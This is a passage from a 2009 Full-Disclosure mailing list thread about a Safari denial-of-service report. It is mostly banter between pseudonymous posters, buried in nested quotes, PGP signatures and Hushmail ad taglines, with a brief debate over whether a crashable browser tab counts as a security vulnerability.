>> >>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3v
>> >j
>> >> >u
>> >> >> P7xAvvQ=
>> >> >> =avqi
>> >> >> -----END PGP SIGNATURE-----
>> >> >>
>> >> >> --
>> >> >> Click to find great rates on health insurance, save big, shop
>> >> >here.
>> >> >>
>> >> >>
>> >>
>> >>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2G
>> >W
>> >> >ai39WLJo4QlOxYCnjxaqn9u/
>> >> >>
>> >> >> _______________________________________________
>> >> >> Full-Disclosure - We believe in it.
>> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >>
>> >> -----BEGIN PGP SIGNATURE-----
>> >> Charset: UTF8
>> >> Version: Hush 3.0
>> >> Note: This signature can be verified at
>> >https://www.hushtools.com/verify
>> >>
>> >>
>> >wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JS
>> >g
>> >>
>> >XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrF
>> >M
>> >>
>> >kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4C
>> >L
>> >> XTUWWLI=
>> >> =FOnb
>> >> -----END PGP SIGNATURE-----
>> >>
>> >> --
>> >> Become a medical transcriptionist at home, at your own pace.
>> >>
>> >>
>> >http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEPV
>> >YBzpFXa7E7s6QHH4MsdQbb6/
>> >>
>> >>
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at https://www.hushtools.com/verify
>>
>> wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ6
>> 1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixhk
>> f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu3
>> eJKIjEU=
>> =MEss
>> -----END PGP SIGNATURE-----
>>
>> --
>> Thinking of a life with religion? ?Click here to find a religious school
>> near you.
>>
>> ?http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSDppHSTZUDCQJQcaRhPY88GLe/
>>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From bobby.mugabe at hushmail.com  Tue Mar  3 23:30:39 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 18:30:39 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303233040.472D328042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Sir,

If you can't tell the difference between my father and my self,
then I will have trouble believing that you are the mustache and
not the man.

thanks,
- -bm

On Tue, 03 Mar 2009 18:21:23 -0500 Valdis' Mustache
<security.mustache at gmail.com> wrote:
>Mr. Snarks,
>
>If you can't tell the difference between the Zimbabwean president
>and
>what's under my esteemed owner's nose I suggest you consult RFC
>2821
>for guidance.
>
>I am NOT amused.
>
>
>Your humble servant,
>V kn?r z Valdis
>
>On Tue, Mar 3, 2009 at 6:01 PM, Jason Starks
><jstarks440 at gmail.com> wrote:
>> Right..
>>
>>>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>>>
>>>> -----BEGIN PGP SIGNED MESSAGE-----
>>>> Hash: SHA1
>>>>
>>>> Mr. Stark,
>>
>> There.
>>
>> On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com>
>wrote:
>>>
>>> -----BEGIN PGP SIGNED MESSAGE-----
>>> Hash: SHA1
>>>
>>> Where?
>>>
>>> - -bm
>>>
>>> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
>>> <jstarks440 at gmail.com> wrote:
>>> >Mr. Mustache,
>>> >
>>> >There is a missing "s" on the end of my last name.
>>> >
>>> >Yours truly,
>>> >
>>> >Jason "Bench Press" Starks
>>> >
>>> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>>> >
>>> >> -----BEGIN PGP SIGNED MESSAGE-----
>>> >> Hash: SHA1
>>> >>
>>> >> Mr. Stark,
>>> >>
>>> >> Adhering to the tradition of my fathers, I do not sport any
>>> >facial
>>> >> hair and take offense to your comment, and since you're
>>> >obviously
>>> >> lacking basic observational skills I highly doubt you're
>even as
>>> >> talented as my Cadburys, at anything.
>>> >>
>>> >> - -bm
>>> >>
>>> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
>>> >> <jstarks440 at gmail.com> wrote:
>>> >> >Mr. Mustache, it is obvious that I have more talent than a
>box
>>> >of
>>> >> >chocolates, and that you envy the sadistic nature of your
>>> >fellow
>>> >> >trolls on
>>> >> >this list. Point blank.
>>> >> >
>>> >> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
>>> >wrote:
>>> >> >
>>> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>>> >> >> Hash: SHA1
>>> >> >>
>>> >> >> Dear Valdis,
>>> >> >>
>>> >> >> I have been able to reproduce a similar situation using
>>> >Firefox
>>> >> >> under MacOSX, using different websites and a
>significantly
>>> >> >larger
>>> >> >> number of tabs. ?Do you think these issues might be
>related
>>> >or
>>> >> >are
>>> >> >> they operating system specific? ?What model of CPU were
>you
>>> >> >testing
>>> >> >> this issue under?
>>> >> >>
>>> >> >> Thanks,
>>> >> >> - -bm
>>> >> >>
>>> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>>> >> >> <security.mustache at gmail.com> wrote:
>>> >> >> >I would like to point out that I have been able to
>create a
>>> >> >"hung"
>>> >> >> >state in the Firefox browser by opening 30 simultaneous
>tabs
>>> >> >> >pointed
>>> >> >> >at http://www.welcometointernet.org/lawnmower/ and
>adding a
>>> >> >31st
>>> >> >> >tab
>>> >> >> >viewing http://www.hotrussianbrides.com.
>>> >> >> >
>>> >> >> >Also, I am not amused.
>>> >> >> >
>>> >> >> >
>>> >> >> >Your humble servant,
>>> >> >> >Ze Mustache von Kletnieks
>>> >> >> >
>>> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
>>> ><bobby.mugabe at hushmail.com>
>>> >> >> >wrote:
>>> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>>> >> >> >> Hash: SHA1
>>> >> >> >>
>>> >> >> >> Dear Nick,
>>> >> >> >>
>>> >> >> >> You and Thierry Loller are wrong.
>>> >> >> >>
>>> >> >> >> - -bm
>>> >> >> >>
>>> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
>>> >> ><nick at virus-
>>> >> >> >> l.demon.co.uk> wrote:
>>> >> >> >>>Chris Evans to Thierry Zoller:
>>> >> >> >>>
>>> >> >> >>>> > Example
>>> >> >> >>>> > If a chrome tab can be crashed arbritarely
>(remotely)
>>> >it
>>> >> >is
>>> >> >> >a
>>> >> >> >>>DoS attack
>>> >> >> >>>> > but with ridiculy low impact to the end-user as it
>>> >only
>>> >> >> >>>crashes the tab
>>> >> >> >>>> > it was subjected to, and not the whole browser or
>>> >> >operation
>>> >> >> >>>system.
>>> >> >> >>>> > But the fact remains that this was the impact of a
>DoS
>>> >> >> >>>condition,
>>> >> >> >>>> > the tab crashes arbritarily.
>>> >> >> >>>>
>>> >> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
>>> >that's
>>> >> >no
>>> >> >> >>>> different from www.evil.com closing its own tab with
>>> >> >> >Javascript.
>>> >> >> >>>
>>> >> >> >>>But what if www.evil.com has run an injection attack
>of
>>> >some
>>> >> >> >kind
>>> >> >> >>>(SQL,
>>> >> >> >>>XSS in blog comments, etc, etc) against
>www.stupid.com?
>>> >> >> >>>
>>> >> >> >>>Visitors to stupid.com then suffer a DoS...
>>> >> >> >>>
>>> >> >> >>>Yes, stupid.com should run their site better, fix
>their
>>> >> >myriad
>>> >> >> >XSS
>>> >> >> >>>holes,
>>> >> >> >>>etc, etc.
>>> >> >> >>>
>>> >> >> >>>But this is the Internet, so this "software flaw" can
>be
>>> >> >> >leveraged
>>> >> >> >>>as
>>> >> >> >>>security vulnerability.
>>> >> >> >>>
>>> >> >> >>>I'm with Thierry on this...
>>> >> >> >>>
>>> >> >> >>>
>>> >> >> >>>Regards,
>>> >> >> >>>
>>> >> >> >>>Nick FitzGerald
>>> >> >> >>>
>>> >> >> >>>
>>> >> >> >>>_______________________________________________
>>> >> >> >>>Full-Disclosure - We believe in it.
>>> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>>> >> >charter.html
>>> >> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
>>> >> >> >> -----BEGIN PGP SIGNATURE-----
>>> >> >> >> Charset: UTF8
>>> >> >> >> Version: Hush 3.0
>>> >> >> >> Note: This signature can be verified at
>>> >> >> >https://www.hushtools.com/verify
>>> >> >> >>
>>> >> >> >>
>>> >> >>
>>> >>
>>>
>>>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qv
>h
>>> >8
>>> >> >+
>>> >> >> >0
>>> >> >> >>
>>> >> >>
>>> >>
>>>
>>>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53f
>x
>>> >X
>>> >> >F
>>> >> >> >m
>>> >> >> >>
>>> >> >>
>>> >>
>>>
>>>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5
>e
>>> >A
>>> >> >h
>>> >> >> >p
>>> >> >> >> UpXIZ1s=
>>> >> >> >> =zgqd
>>> >> >> >> -----END PGP SIGNATURE-----
>>> >> >> >>
>>> >> >> >> --
>>> >> >> >> Become a medical transcriptionist at home, at your own
>>> >pace.
>>> >> >> >>
>>> >> >>
>>> >>
>>>
>>>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWaf
>c
>>> >7
>>> >> >c
>>> >> >> >DXj4iASDyccuLtQA2i9f1le/
>>> >> >> >>
>>> >> >> >> _______________________________________________
>>> >> >> >> Full-Disclosure - We believe in it.
>>> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>>> >> >charter.html
>>> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>>> >> >> >>
>>> >> >> >
>>> >> >> >_______________________________________________
>>> >> >> >Full-Disclosure - We believe in it.
>>> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
>>> >charter.html
>>> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
>>> >> >> -----BEGIN PGP SIGNATURE-----
>>> >> >> Charset: UTF8
>>> >> >> Version: Hush 3.0
>>> >> >> Note: This signature can be verified at
>>> >> >https://www.hushtools.com/verify
>>> >> >>
>>> >> >>
>>> >>
>>>
>>>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDV
>r
>>> >k
>>> >> >n
>>> >> >>
>>> >>
>>>
>>>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGl
>N
>>> >A
>>> >> >5
>>> >> >>
>>> >>
>>>
>>>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3
>v
>>> >j
>>> >> >u
>>> >> >> P7xAvvQ=
>>> >> >> =avqi
>>> >> >> -----END PGP SIGNATURE-----
>>> >> >>
>>> >> >> --
>>> >> >> Click to find great rates on health insurance, save big,
>shop
>>> >> >here.
>>> >> >>
>>> >> >>
>>> >>
>>>
>>>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2
>G
>>> >W
>>> >> >ai39WLJo4QlOxYCnjxaqn9u/
>>> >> >>
>>> >> >> _______________________________________________
>>> >> >> Full-Disclosure - We believe in it.
>>> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>>> >charter.html
>>> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>>> >> >>
>>> >> -----BEGIN PGP SIGNATURE-----
>>> >> Charset: UTF8
>>> >> Version: Hush 3.0
>>> >> Note: This signature can be verified at
>>> >https://www.hushtools.com/verify
>>> >>
>>> >>
>>>
>>wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0J
>S
>>> >g
>>> >>
>>>
>>XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwr
>F
>>> >M
>>> >>
>>>
>>kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4
>C
>>> >L
>>> >> XTUWWLI=
>>> >> =FOnb
>>> >> -----END PGP SIGNATURE-----
>>> >>
>>> >> --
>>> >> Become a medical transcriptionist at home, at your own pace.
>>> >>
>>> >>
>>>
>>http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEP
>V
>>> >YBzpFXa7E7s6QHH4MsdQbb6/
>>> >>
>>> >>
>>> -----BEGIN PGP SIGNATURE-----
>>> Charset: UTF8
>>> Version: Hush 3.0
>>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>>
>>>
>wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ
>6
>>>
>1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixh
>k
>>>
>f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu
>3
>>> eJKIjEU=
>>> =MEss
>>> -----END PGP SIGNATURE-----
>>>
>>> --
>>> Thinking of a life with religion? ?Click here to find a
>religious school
>>> near you.
>>>
>>> ?
>http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSD
>ppHSTZUDCQJQcaRhPY88GLe/
>>>
>>
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmtvP8ACgkQhNp8gzZx3siqJgQArCC3Q9noiXDVZd93umNMtDrxmy3A
TGY2TbuHzn3cJrY35qj6pAEnNtTx88eDo1mUEZE2A6jFYr/9U+Mr/wsD94+24RVVx14i
uqE/CRX2+66Dp9GJyS2p5u5X3YwnJ3+d4jiOUtXZxhK8Q4QJXBcAH3DJGkGqgJUBAFLc
mYVnky4=
=EUMn
-----END PGP SIGNATURE-----

--
Upgrade your kitchen or bath with beautiful new countertops. Click now!
 http://tagline.hushmail.com/fc/BLSrjkqb18CZCWUV7c3wawr5yyv0hZ2UBKVIEDK2LCipoCyDvrX6QJebVPi/



From jstarks440 at gmail.com  Tue Mar  3 23:31:05 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 18:31:05 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <26eb2b870903031521u1a617d39r3fede7c7aabc1fd8@mail.gmail.com>
References: <20090303225622.7F1AD28042@smtp.hushmail.com>
	<e1b25fd0903031501r25e0b2aav6c0c612dc0de364@mail.gmail.com>
	<26eb2b870903031521u1a617d39r3fede7c7aabc1fd8@mail.gmail.com>
Message-ID: <e1b25fd0903031531p4e0bdc9g8e867335803cc4dd@mail.gmail.com>

Did Safari have a bug or something...

On Tue, Mar 3, 2009 at 6:21 PM, Valdis' Mustache <
security.mustache at gmail.com> wrote:

> Mr. Snarks,
>
> If you can't tell the difference between the Zimbabwean president and
> what's under my esteemed owner's nose I suggest you consult RFC 2821
> for guidance.
>
> I am NOT amused.
>
>
> Your humble servant,
> V kn?r z Valdis
>
> On Tue, Mar 3, 2009 at 6:01 PM, Jason Starks <jstarks440 at gmail.com> wrote:
> > Right..
> >
> >>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
> >>
> >>> -----BEGIN PGP SIGNED MESSAGE-----
> >>> Hash: SHA1
> >>>
> >>> Mr. Stark,
> >
> > There.
> >
> > On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com> wrote:
> >>
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Where?
> >>
> >> - -bm
> >>
> >> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
> >> <jstarks440 at gmail.com> wrote:
> >> >Mr. Mustache,
> >> >
> >> >There is a missing "s" on the end of my last name.
> >> >
> >> >Yours truly,
> >> >
> >> >Jason "Bench Press" Starks
> >> >
> >> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
> >> >
> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> Hash: SHA1
> >> >>
> >> >> Mr. Stark,
> >> >>
> >> >> Adhering to the tradition of my fathers, I do not sport any
> >> >facial
> >> >> hair and take offense to your comment, and since you're
> >> >obviously
> >> >> lacking basic observational skills I highly doubt you're even as
> >> >> talented as my Cadburys, at anything.
> >> >>
> >> >> - -bm
> >> >>
> >> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
> >> >> <jstarks440 at gmail.com> wrote:
> >> >> >Mr. Mustache, it is obvious that I have more talent than a box
> >> >of
> >> >> >chocolates, and that you envy the sadistic nature of your
> >> >fellow
> >> >> >trolls on
> >> >> >this list. Point blank.
> >> >> >
> >> >> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
> >> >wrote:
> >> >> >
> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> >> Hash: SHA1
> >> >> >>
> >> >> >> Dear Valdis,
> >> >> >>
> >> >> >> I have been able to reproduce a similar situation using
> >> >Firefox
> >> >> >> under MacOSX, using different websites and a significantly
> >> >> >larger
> >> >> >> number of tabs.  Do you think these issues might be related
> >> >or
> >> >> >are
> >> >> >> they operating system specific?  What model of CPU were you
> >> >> >testing
> >> >> >> this issue under?
> >> >> >>
> >> >> >> Thanks,
> >> >> >> - -bm
> >> >> >>
> >> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
> >> >> >> <security.mustache at gmail.com> wrote:
> >> >> >> >I would like to point out that I have been able to create a
> >> >> >"hung"
> >> >> >> >state in the Firefox browser by opening 30 simultaneous tabs
> >> >> >> >pointed
> >> >> >> >at http://www.welcometointernet.org/lawnmower/ and adding a
> >> >> >31st
> >> >> >> >tab
> >> >> >> >viewing http://www.hotrussianbrides.com.
> >> >> >> >
> >> >> >> >Also, I am not amused.
> >> >> >> >
> >> >> >> >
> >> >> >> >Your humble servant,
> >> >> >> >Ze Mustache von Kletnieks
> >> >> >> >
> >> >> >> >On Mon, Mar 2, 2009 at 10:29 PM,
> >> ><bobby.mugabe at hushmail.com>
> >> >> >> >wrote:
> >> >> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> >> >> Hash: SHA1
> >> >> >> >>
> >> >> >> >> Dear Nick,
> >> >> >> >>
> >> >> >> >> You and Thierry Loller are wrong.
> >> >> >> >>
> >> >> >> >> - -bm
> >> >> >> >>
> >> >> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
> >> >> ><nick at virus-
> >> >> >> >> l.demon.co.uk> wrote:
> >> >> >> >>>Chris Evans to Thierry Zoller:
> >> >> >> >>>
> >> >> >> >>>> > Example
> >> >> >> >>>> > If a chrome tab can be crashed arbritarely (remotely)
> >> >it
> >> >> >is
> >> >> >> >a
> >> >> >> >>>DoS attack
> >> >> >> >>>> > but with ridiculy low impact to the end-user as it
> >> >only
> >> >> >> >>>crashes the tab
> >> >> >> >>>> > it was subjected to, and not the whole browser or
> >> >> >operation
> >> >> >> >>>system.
> >> >> >> >>>> > But the fact remains that this was the impact of a DoS
> >> >> >> >>>condition,
> >> >> >> >>>> > the tab crashes arbritarily.
> >> >> >> >>>>
> >> >> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
> >> >that's
> >> >> >no
> >> >> >> >>>> different from www.evil.com closing its own tab with
> >> >> >> >Javascript.
> >> >> >> >>>
> >> >> >> >>>But what if www.evil.com has run an injection attack of
> >> >some
> >> >> >> >kind
> >> >> >> >>>(SQL,
> >> >> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
> >> >> >> >>>
> >> >> >> >>>Visitors to stupid.com then suffer a DoS...
> >> >> >> >>>
> >> >> >> >>>Yes, stupid.com should run their site better, fix their
> >> >> >myriad
> >> >> >> >XSS
> >> >> >> >>>holes,
> >> >> >> >>>etc, etc.
> >> >> >> >>>
> >> >> >> >>>But this is the Internet, so this "software flaw" can be
> >> >> >> >leveraged
> >> >> >> >>>as
> >> >> >> >>>security vulnerability.
> >> >> >> >>>
> >> >> >> >>>I'm with Thierry on this...
> >> >> >> >>>
> >> >> >> >>>
> >> >> >> >>>Regards,
> >> >> >> >>>
> >> >> >> >>>Nick FitzGerald
> >> >> >> >>>
> >> >> >> >>>
> >> >> >> >>>_______________________________________________
> >> >> >> >>>Full-Disclosure - We believe in it.
> >> >> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
> >> >> >charter.html
> >> >> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> >> >> Charset: UTF8
> >> >> >> >> Version: Hush 3.0
> >> >> >> >> Note: This signature can be verified at
> >> >> >> >https://www.hushtools.com/verify
> >> >> >> >>
> >> >> >> >>
> >> >> >>
> >> >>
> >> >>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh
> >> >8
> >> >> >+
> >> >> >> >0
> >> >> >> >>
> >> >> >>
> >> >>
> >> >>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fx
> >> >X
> >> >> >F
> >> >> >> >m
> >> >> >> >>
> >> >> >>
> >> >>
> >> >>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5e
> >> >A
> >> >> >h
> >> >> >> >p
> >> >> >> >> UpXIZ1s=
> >> >> >> >> =zgqd
> >> >> >> >> -----END PGP SIGNATURE-----
> >> >> >> >>
> >> >> >> >> --
> >> >> >> >> Become a medical transcriptionist at home, at your own
> >> >pace.
> >> >> >> >>
> >> >> >>
> >> >>
> >> >>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc
> >> >7
> >> >> >c
> >> >> >> >DXj4iASDyccuLtQA2i9f1le/
> >> >> >> >>
> >> >> >> >> _______________________________________________
> >> >> >> >> Full-Disclosure - We believe in it.
> >> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
> >> >> >charter.html
> >> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >> >>
> >> >> >> >
> >> >> >> >_______________________________________________
> >> >> >> >Full-Disclosure - We believe in it.
> >> >> >> >Charter: http://lists.grok.org.uk/full-disclosure-
> >> >charter.html
> >> >> >> >Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> >> Charset: UTF8
> >> >> >> Version: Hush 3.0
> >> >> >> Note: This signature can be verified at
> >> >> >https://www.hushtools.com/verify
> >> >> >>
> >> >> >>
> >> >>
> >> >>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVr
> >> >k
> >> >> >n
> >> >> >>
> >> >>
> >> >>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlN
> >> >A
> >> >> >5
> >> >> >>
> >> >>
> >> >>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3v
> >> >j
> >> >> >u
> >> >> >> P7xAvvQ=
> >> >> >> =avqi
> >> >> >> -----END PGP SIGNATURE-----
> >> >> >>
> >> >> >> --
> >> >> >> Click to find great rates on health insurance, save big, shop
> >> >> >here.
> >> >> >>
> >> >> >>
> >> >>
> >> >>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2G
> >> >W
> >> >> >ai39WLJo4QlOxYCnjxaqn9u/
> >> >> >>
> >> >> >> _______________________________________________
> >> >> >> Full-Disclosure - We believe in it.
> >> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
> >> >charter.html
> >> >> >> Hosted and sponsored by Secunia - http://secunia.com/
> >> >> >>
> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> Charset: UTF8
> >> >> Version: Hush 3.0
> >> >> Note: This signature can be verified at
> >> >https://www.hushtools.com/verify
> >> >>
> >> >>
> >> >wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JS
> >> >g
> >> >>
> >> >XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrF
> >> >M
> >> >>
> >> >kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4C
> >> >L
> >> >> XTUWWLI=
> >> >> =FOnb
> >> >> -----END PGP SIGNATURE-----
> >> >>
> >> >> --
> >> >> Become a medical transcriptionist at home, at your own pace.
> >> >>
> >> >>
> >> >http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEPV
> >> >YBzpFXa7E7s6QHH4MsdQbb6/
> >> >>
> >> >>
> >> -----BEGIN PGP SIGNATURE-----
> >> Charset: UTF8
> >> Version: Hush 3.0
> >> Note: This signature can be verified at
> https://www.hushtools.com/verify
> >>
> >> wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ6
> >> 1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixhk
> >> f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu3
> >> eJKIjEU=
> >> =MEss
> >> -----END PGP SIGNATURE-----
> >>
> >> --
> >> Thinking of a life with religion?  Click here to find a religious school
> >> near you.
> >>
> >>
> http://tagline.hushmail.com/fc/BLSrjkqkOt23N64MfCBCDe7Ocvf3t1DcVFSDppHSTZUDCQJQcaRhPY88GLe/
> >>
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/829388f1/attachment.html 

From bobby.mugabe at hushmail.com  Tue Mar  3 23:33:21 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 18:33:21 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303233323.AEB8528042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mr. Starks,

Please remind us what you're talking about.

- -bm

On Tue, 03 Mar 2009 18:31:05 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>Did Safari have a bug or something...
>
>On Tue, Mar 3, 2009 at 6:21 PM, Valdis' Mustache <
>security.mustache at gmail.com> wrote:
>
>> Mr. Snarks,
>>
>> If you can't tell the difference between the Zimbabwean
>president and
>> what's under my esteemed owner's nose I suggest you consult RFC
>2821
>> for guidance.
>>
>> I am NOT amused.
>>
>>
>> Your humble servant,
>> V kn?r z Valdis
>>
>> On Tue, Mar 3, 2009 at 6:01 PM, Jason Starks
><jstarks440 at gmail.com> wrote:
>> > Right..
>> >
>> >>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com>
>wrote:
>> >>
>> >>> -----BEGIN PGP SIGNED MESSAGE-----
>> >>> Hash: SHA1
>> >>>
>> >>> Mr. Stark,
>> >
>> > There.
>> >
>> > On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com>
>wrote:
>> >>
>> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> Hash: SHA1
